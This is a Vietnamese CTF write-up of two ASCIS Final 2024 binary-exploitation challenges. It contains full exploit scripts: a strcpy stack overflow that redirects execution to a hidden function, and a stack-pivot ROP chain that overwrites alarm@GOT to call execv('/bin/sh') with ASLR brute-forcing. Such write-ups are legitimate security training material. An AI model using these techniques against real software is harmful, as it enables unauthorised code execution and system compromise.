index

Run Now

Challenge Description

alt text

Reverse Engineering

1
[*] '/home/alter/lab/Practice/ASCIS2024/Run_Now/chall'
2
    Arch:       amd64-64-little
3
    RELRO:      Partial RELRO
4
    Stack:      No canary found
5
    NX:         NX enabled
6
    PIE:        No PIE (0x400000)
7
    Stripped:   No

Bắt đầu với việc sử dụng checksec thì mình nhận thấy rằng, đây là một binary không có Canary, và PIE đã tắt, điều này giúp chúng ta làm dễ dàng hơn do không cần quan tâm mấy đến việc địa chỉ của binary động. Đào sâu hơn vào phân tích pseudo-code:

1
int __fastcall main(int argc, const char **argv, const char **envp)
2
{
3
  unsigned int seed; // eax
4
  int n4; // [rsp+Ch] [rbp-84h] BYREF
5
  char s[128]; // [rsp+10h] [rbp-80h] BYREF
6

7
  setup(argc, argv, envp);
8
  seed = time(0LL);
9
  srand(seed);
10
  while ( 1 )
11
  {
12
    puts("\nQuantum Teleporter Menu:");
13
    puts("1. Enter coordinates");
14
    puts("2. View current coordinates");
15
    puts("3. Initiate teleportation");
16
    puts("4. Exit");
17
    printf("Enter your choice: ");
18
    __isoc99_scanf("%d", &n4);
19
    getchar();
20
    if ( n4 == 4 )
21
      break;
22
    if ( n4 > 4 )
23
      goto LABEL_12;
24
    switch ( n4 )
25
    {
26
      case 3:
27
        teleport();
28
        break;
29
      case 1:
30
        printf("Enter quantum coordinates: ");
31
        fgets(s, 128, stdin);
32
        quantum_entangle(s);
33
        break;
34
      case 2:
35
        print_coordinates();
36
        break;
37
      default:
38
LABEL_12:
39
        puts("Invalid choice. Please try again.");
40
        break;
41
    }
42
  }
43
  puts("Exiting Quantum Teleporter. Goodbye!");
44
  return 0;
45
}

Như ta có thể thấy, về tổng quan thì chương trình sẽ yêu cầu ta nhập các choice sau đó nhảy đến choice mà ta đã chọn, để ý ở case 1:

1
      case 1:
2
        printf("Enter quantum coordinates: ");
3
        fgets(s, 128, stdin);
4
        quantum_entangle(s);
5
        break;

1
char *__fastcall quantum_entangle(const char *src)
2
{
3
  char dest[64]; // [rsp+10h] [rbp-40h] BYREF
4

5
  return strcpy(dest, src);
6
}

Có thể thấy trong quantum_entangle nó sử dụng strcpy để copy data ta input vào với số lượng tối đa là 64 bytes. Và kiểm tra kĩ hơn ở trong GDB:

alt text

Ta có thể thấy stack frame của quantum_entangle không quá lớn và offset từ điểm nó copy vào đến saved rip là 72. Vì thế mặc dù dest[64], nhưng đặc điểm của hàm strcpy là copy dữ liệu mà không quan tâm xem nó sẽ copy bao nhiêu, nên vì thế mà gây ra lỗi Buffer Overflow.

Exploit Development

Vì ta đã biết được lỗi là gì và binary này cũng không có những lớp bảo mật để chống Buffer Overflow nên ta sẽ dể dàng kiểm soát được saved rip của quantum_entangle và thay đổi nó thành địa chỉ của secret_lab, và khi quantum_entangle nó sẽ return vào secret_lab, việc tiếp theo ta làm là chỉ cần nhập hardcode đã có:


35 collapsed lines
1
#!/usr/bin/env python3
2
# -*- coding: utf-8 -*-
3
from pwnie import *
4
from time import sleep
5

6
context.log_level = 'debug'
7
exe = context.binary = ELF('./chall', checksec=False)
8
libc = exe.libc
9

10
def init(argv=[], *a, **kw):
11
    if args.GDB:
12
        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
13
    elif args.REMOTE:
14
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
15
    elif args.DOCKER:
16
        docker_port = sys.argv[1]
17
        docker_path = sys.argv[2]
18
        p = remote("localhost", docker_port)
19
        sleep(1)
20
        pid = process(["pgrep", "-fx", docker_path]).recvall().strip().decode()
21
        gdb.attach(int(pid), gdbscript=gdbscript, exe=exe.path)
22
        pause()
23
        return p
24
    else:
25
        return process([exe.path] + argv, *a, **kw)
26

27
gdbscript = '''
28

29

30
b*main+250
31
# b*0x0000000000401548
32
c
33
'''.format(**locals())
34

35
p = init()
36

37
# ==================== EXPLOIT ====================
38

39

40
def choice(option):
41

42
    sla(b'choice: ', f'{option}'.encode())
43

44

45
def exploit():
46

47
    choice(1)
48
    sl(b'A' * 72 + p64(exe.sym.secret_lab+1))
49
    sl(b'qu4ntumR3ality')
50

51
    interactive()
52

53
if __name__ == '__main__':
54
    exploit()

alt text

ROP

Challenge Description

alt text

Reverse Engineering

1
[*] '/home/alter/lab/Practice/ASCIS2024/ROP/chall'
2
    Arch:       amd64-64-little
3
    RELRO:      Partial RELRO
4
    Stack:      No canary found
5
    NX:         NX enabled
6
    PIE:        No PIE (0x400000)
7
    SHSTK:      Enabled
8
    IBT:        Enabled
9
    Stripped:   No

Kết quả của checksec không có gì mấy đặc biệt và cũng như bài trên nên mình sẽ skip qua phần này (do mình lười…). Tiếp tục đến với IDA:

1
unsigned int setup()
2
{
3
  setbuf(stdin, 0LL);
4
  setbuf(stdout, 0LL);
5
  setbuf(stderr, 0LL);
6
  signal(14, alarm_handler);
7
  return alarm(0x14u);
8
}

1
ssize_t vuln()
2
{
3
  __int16 buf[16]; // [rsp+0h] [rbp-20h] BYREF
4

5
  buf[0] = -15521;
6
  return read(0, buf, 0x48uLL);
7
}

Chương trình khá đơn giản, chỉ gói gọn 2 hàm setup và vuln, nhưng điều khó ở đây là không có nơi để ta leak được address mặc dù ta có gadget pop rdi, nên ta sẽ chuyển qua phương án khác. Và ở đây mình sẽ sử dụng Stack Pivot để giải quyết bài này, về cơ bản thì ta phải làm vậy do đó là cách cuối cùng rồi…Nhưng câu hỏi đặt ra là ta Stack Pivot ở đâu và kết quả khi làm xong sẽ được gì? Thì lúc này ta sẽ nhìn vào setup() với alarm@GOT, thì function này khi ta kiểm tra trong GDB ta sẽ thấy nó nằm trên một hàm khác rất đặc biệt đó là execv, khoảng cách khá xa (0xc80). Hàm execv này đặc biệt ở chổ nó chỉ cần 2 arguments rdi và rsi, vầ với điều kiện hiện tại là ta chỉ có thể sử dụng kiểm soát được rdi thông qua pop rdi; ret và rsi thông qua read gadget lấy trong chương trình của hàm vuln.

alt text

Exploit Development

Như vậy với ý tưởng như trên ta có thể sử dụng read gadget để làm cho chương trình thực thi lại phần chức năng đó thêm một lần nữa, và với việc ta có thể kiểm soát được saved rbp ta sẽ làm cho nó viết ở bất cứ nơi đâu mà ta muốn. Và những gì mình muốn sẽ là:

Overwrite alarm@GOT -> execv
Setup các arugments cho execv

Overwrite `alarm@GOT`

Vậy payload ban đầu của ta sẽ là

1
    pop_rdi = 0x401247
2
    read_gadget = 0x401249
3
    rw_section = 0x404100
4

5
    pl = flat(
6
        b'A' * 0x20,
7
        rw_section + 0x20,              # saved rbp 1
8
        read_gadget                     # saved rip 1
9
    )
10

11
    input("1st")
12
    sleep(0.5)
13
    s(pl)

Payload này sẽ ghi dữ liệu của lần nhập tiếp theo vào rw_section, và ở lần nhập tiếp theo ta sẽ thực hiện việc ghi đè 2 bytes cuối của địa chỉ chứa trong alarm@GOT

1
    pl = flat(
2
        b'B' * 0x20
3
        exe.got.alarm + 0x20,          # saved rbp 2
4
        read_gadget                    # saved rip 2
5
    )
6

7
    input("2nd")
8
    sleep(0.5)
9
    s(pl)
10

11
    input("3rd")
12
    sleep(0.5)
13
    s(p16(0xd1c0))

Với lúc này payload của ta sẽ ghi đè 2 bytes thành 0xd1c0 tức là execv, và để ý sau khi nó thực thi xong và return

alt text

Nó sẽ return về một nơi không có dữ liệu và kiểm tra ở chỗ đó ta sẽ thấy

alt text

Vì thế ta cần phải ghi dữ liệu vào đây trước để khi nó return thì nó mới return được, vì vậy ta sẽ đổi payload đầu từ rw_section + 0x20 -> exe.got.alarm + 0x40 bằng cách này ta sẽ đảm bảo được rằng luôn có dữ liệu ở những vùng mà ta có thể kiểm soát

1
    pl = flat(
2

3
        b'A' * 0x20,
4
        exe.got.alarm + 0x20 + 0x20,
5
        read_gadget
6

7
    )
8

9

10
    input("1st")
11
    sleep(0.5)
12
    s(pl)
13

14
    pl = flat(
15
        b'B' * 0x20,
16
        exe.got.alarm + 0x20,          # saved rbp 2
17
        read_gadget                    # saved rip 2
18
    )
19

20
    input("2nd")
21
    sleep(0.5)
22
    s(pl)
23

24
    input("3rd")
25
    sleep(0.5)
26
    s(p16(0xd1c0))

Và sau khi chạy lại

alt text

Ta sẽ thấy lúc này nó return vào một dãy kí tự B của ta, tức là ở đầu đoạn của payload 2, và ta chỉ cần làm là thay đổi payload 2 lại một chút để ta có thể thực hiện lần read tiếp theo, và ở lần read này sẽ là lần read mà ta setup các argument cần thiết để thực thi execv nên mình có thể cho nó read vào bất cứ đâu cũng được miễn là né vùng GOT và vùng đó phải có rw-

Setup argument

Thì mình sẽ chọn rw_section, vì vùng này chưa có dữ liệu gì nên ta có thể read vào thoải mái

1
    pl = flat(
2
        rw_section + 0x20,             # saved rbp 3
3
        read_gadget,                   # saved rip 3
4
        b'B' * 0x10,
5
        exe.got.alarm + 0x20,          # saved rbp 2
6
        read_gadget                    # saved rip 2
7
    )
8

9
    input("2nd")
10
    sleep(0.5)
11
    s(pl)
12

13
    input("3rd")
14
    sleep(0.5)
15
    s(p16(0xd1c0))

Và ở lần read cuối cùng này dữ liệu sẽ bắt đầu từ rw_section và việc ta cần làm là đặt chuỗi /bin/sh ở đầu rw_section và sử dụng pop_rdi, để setup rdi và call alarm@PLT

1
    pl = flat(
2
          b'/bin/sh\0',                  # saved rbp 5
3
          pop_rdi,                       # saved rip 5
4
          rw_section,
5
          exe.plt.alarm,
6
          rw_section,                    # saved rbp 4
7
          read_gadget,                   # saved rip 4
8
    )
9

10
    input("4th")
11
    sleep(0.5)
12
    s(pl)
13

14
    input("5th")
15
    sleep(0.5)
16
    s(b'\0')

Và vì ASLR bật nên địa chỉ lúc nào cũng động, việc ta cần làm tiếp theo là brute 1 nibble của nó bằng cách chạy đi chạy lại nhiều lần payload với tỉ lệ 1/16 là điều hoàn toàn có thể

Full exploit


31 collapsed lines
1
#!/usr/bin/env python3
2
# -*- coding: utf-8 -*-
3
from pwnie import *
4
from time import sleep
5
context.log_level = 'debug'
6
exe = context.binary = ELF('./chall_patched', checksec=False)
7
libc = exe.libc
8

9
def init(argv=[], *a, **kw):
10
    if args.GDB:
11
        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
12
    elif args.REMOTE:
13
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
14
    elif args.DOCKER:
15
        docker_port = sys.argv[1]
16
        docker_path = sys.argv[2]
17
        p = remote("localhost", docker_port)
18
        sleep(1)
19
        pid = process(["pgrep", "-fx", docker_path]).recvall().strip().decode()
20
        gdb.attach(int(pid), gdbscript=gdbscript, exe=exe.path)
21
        pause()
22
        return p
23
    else:
24
        return process([exe.path] + argv, *a, **kw)
25

26
gdbscript = '''
27
# b*0x000000000040125f
28
b*0x0000000000401261
29
c
30
'''.format(**locals())
31

32
while True:
33
    p = init()
34
    # ==================== EXPLOIT ====================
35

11 collapsed lines
36
    '''
37
    File:     /home/alter/lab/Practice/ASCIS2024/ROP/chall
38
    Arch:     amd64
39
    RELRO:      Partial RELRO
40
    Stack:      No canary found
41
    NX:         NX enabled
42
    PIE:        No PIE (0x400000)
43
    SHSTK:      Enabled
44
    IBT:        Enabled
45
    Stripped:   No
46
    '''
47
    def exploit():
48

49
        pop_rdi = 0x401247
50
        read_gadget = 0x401249
51
        rw_section = 0x404100
52

53
        pl = flat(
54
            b'A' * 0x20,
55
            exe.got.alarm + 0x20 + 0x20,    # saved rbp 1
56
            read_gadget                     # saved rip 1
57
        )
58

59
        # input("1st")
60
        sleep(0.5)
61
        s(pl)
62

63
        # 0x404040
64
        pl = flat(
65
            rw_section + 0x20,             # saved rbp 3
66
            read_gadget,                   # saved rip 3
67
            b'B' * 0x10,
68
            exe.got.alarm + 0x20,          # saved rbp 2
69
            read_gadget                    # saved rip 2
70
        )
71

72
        # input("2nd")
73
        sleep(0.5)
74
        s(pl)
75

76
        # input("3rd")
77
        sleep(0.5)
78
        s(p16(0xd1c0))
79

80
        pl = flat(
81
            b'/bin/sh\0',                  # saved rbp 5
82
            pop_rdi,                       # saved rip 5
83
            rw_section,
84
            exe.plt.alarm,
85
            rw_section,                    # saved rbp 4
86
            read_gadget,                   # saved rip 4
87
        )
88

89
        # input("4th")
90
        sleep(0.5)
91
        s(pl)
92

93
        # input("5th")
94
        sleep(0.5)
95
        s(b'\0')
96

97
        try:
98
            sl(b'echo DONE!')
99
            ru(b'DONE!')
100
            return True
101
        except:
102
            p.close()
103
            return False
104

105
    if __name__ == '__main__':
106
        if exploit():
107
            interactive()
108
            break

Flow chart

alt text

[WRITE UP] - ASCIS Final 2024

Run Now

Challenge Description

Reverse Engineering

Exploit Development

ROP

Challenge Description

Reverse Engineering

Exploit Development

Overwrite alarm@GOT

Setup argument

Full exploit

Flow chart

Overwrite `alarm@GOT`